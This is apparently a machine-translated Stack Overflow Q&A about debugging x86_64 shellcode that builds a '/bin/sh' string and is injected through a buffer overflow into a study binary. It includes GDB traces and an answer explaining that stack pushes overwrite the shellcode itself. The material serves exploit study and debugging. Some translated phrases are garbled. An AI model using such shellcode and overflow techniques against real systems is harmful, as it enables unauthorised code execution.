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linux - 为什么程序会在推送指令上捕获 SIGSEGV？

问题描述

编写了一个简单的 x86_64 shellcode：

BITS 64
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

通过缓冲区溢出，shellcode 被发送到处理器。一切顺利，直到执行完最后的第三条指令（push rbx）。然后程序捕获 SIGSEGV 并且永远不会到达珍贵的中断 - int 0x80。我想也许堆栈溢出了，我在 shellcode 的开头插入了几个弹出指令。结果，SIGSEGV 在同一条指令上更改为 SIGILL - push rbx。根本没有任何想法。广发银行：

=> 0x7fffffffea72:  mov    rdx,rsp
   0x7fffffffea75:  push   rbx
   0x7fffffffea76:  mov    rcx,rsp
   0x7fffffffea79:  mov    al,0xdd
   0x7fffffffea7b:  int    0x80
   0x7fffffffea7d:  (bad)  
   0x7fffffffea7e:  (bad)  
   0x7fffffffea7f:  inc    DWORD PTR [rax]
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea72 in ?? ()
gdb$ n
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA80  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA75
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffea75:  push   rbx
   0x7fffffffea76:  mov    rcx,rsp
   0x7fffffffea79:  mov    al,0xdd
   0x7fffffffea7b:  int    0x80
   0x7fffffffea7d:  (bad)  
   0x7fffffffea7e:  (bad)  
   0x7fffffffea7f:  inc    DWORD PTR [rax]
   0x7fffffffea81:  add    BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea75 in ?? ()
gdb$ n

Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA78  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA76
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B

信息过程映射：

gdb$ info proc mappings
process 3025
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555555000     0x1000        0x0 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555555000     0x555555556000     0x1000     0x1000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555556000     0x555555557000     0x1000     0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555557000     0x555555558000     0x1000     0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555558000     0x555555559000     0x1000     0x3000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x7ffff7dbb000     0x7ffff7dbd000     0x2000        0x0 
      0x7ffff7dbd000     0x7ffff7de3000    0x26000        0x0 /usr/lib/libc-2.32.so
      0x7ffff7de3000     0x7ffff7f30000   0x14d000    0x26000 /usr/lib/libc-2.32.so
      0x7ffff7f30000     0x7ffff7f7c000    0x4c000   0x173000 /usr/lib/libc-2.32.so
      0x7ffff7f7c000     0x7ffff7f7f000     0x3000   0x1be000 /usr/lib/libc-2.32.so
      0x7ffff7f7f000     0x7ffff7f82000     0x3000   0x1c1000 /usr/lib/libc-2.32.so
      0x7ffff7f82000     0x7ffff7f88000     0x6000        0x0 
      0x7ffff7fca000     0x7ffff7fce000     0x4000        0x0 [vvar]
      0x7ffff7fce000     0x7ffff7fd0000     0x2000        0x0 [vdso]
      0x7ffff7fd0000     0x7ffff7fd2000     0x2000        0x0 /usr/lib/ld-2.32.so
      0x7ffff7fd2000     0x7ffff7ff3000    0x21000     0x2000 /usr/lib/ld-2.32.so
      0x7ffff7ff3000     0x7ffff7ffc000     0x9000    0x23000 /usr/lib/ld-2.32.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x2b000 /usr/lib/ld-2.32.so
      0x7ffff7ffd000     0x7ffff7fff000     0x2000    0x2c000 /usr/lib/ld-2.32.so
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
gdb$ 

New question: Changed the shellcode to the following:

BITS 64
pop rax
pop rax
pop rax
pop rax
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

通过这样做，我可以防止我的 shellcode 被覆盖。因此：

gdb$ ni
--------------------------------------------------------------------------
---------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEAA8  RBP: 0xFFFFFFFFFFFFFFFF  RSP:
 0x00007FFFFFFFEAA0  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEAA0  RCX:
 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA79
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11:
 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
                
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea79:  push   rbx
   0x7fffffffea7a:  mov    rcx,rsp
   0x7fffffffea7d:  mov    al,0xdd
   0x7fffffffea7f:  int    0x80
   0x7fffffffea81:  (bad)  
   0x7fffffffea82:  (bad)  
   0x7fffffffea83:  (bad)  
   0x7fffffffea84:  (bad)  
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea79 in ?? ()
gdb$ ni

Program received signal SIGILL, Illegal instruction.
--------------------------------------------------------------------------
---------------------------------------------[regs]
  RAX: 0xFFFFFFFFFFFFFFF7  RBX: 0x00007FFFFFFFEAA8  RBP: 0xFFFFFFFFFFFFFFFF  RSP:
 0x00007FFFFFFFEA98  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEAA0  RCX:
 0x00007FFFFFFFEA98  RIP: 0x00007FFFFFFFEA81
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11:
 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
                
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea81:  (bad)  
   0x7fffffffea82:  (bad)  
   0x7fffffffea83:  (bad)  
   0x7fffffffea84:  (bad)  
   0x7fffffffea85:  (bad)  
   0x7fffffffea86:  (bad)  
   0x7fffffffea87:  (bad)  
   0x7fffffffea88:  (bad)  
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea81 in ?? ()
gdb$

标签： linuxassemblyx86-64shellcode

解决方案

两个问题。

首先，您使用的是nGDB 命令，该命令应该跳转到下一个源代码行，这可能需要很多指令。（并且当您执行不属于二进制文件的代码时，行号无论如何都没有意义，n也不会可靠地工作。）您希望使用它ni，或者更好的是si，它将始终只执行一条指令而无需尝试跳过子程序调用等。

实际上，请注意段RIP错误后寄存器转储中的值。这不是你的地址push rbx，所以这不是出错的指令；相反，它是下面的指令，你本来应该是mov rcx, rsp。

一个简单的寄存器移动如何导致段错误？因为它不再是注册移动 - 你只是覆盖了它。比较 RSP 和 RIP 的值。您正在执行堆栈中的代码，并push rbx存储到 address 0x00007FFFFFFFEA78，而 themov rcx, rsp是从 开始的三字节指令0x7fffffffea76。所以你只是覆盖了它的第三个字节。如果你做另一个disassemble或x/i $rip此时，你会看到你最终执行的指令——我敢打赌它会访问内存。

事实上，mov rcx, rsp被编码为48 89 e1. rbxis的低字节0x88，并用覆盖第三个字节88产生48 89 88 xx xx xx xxwhich is mov [rax+disp], rcx。

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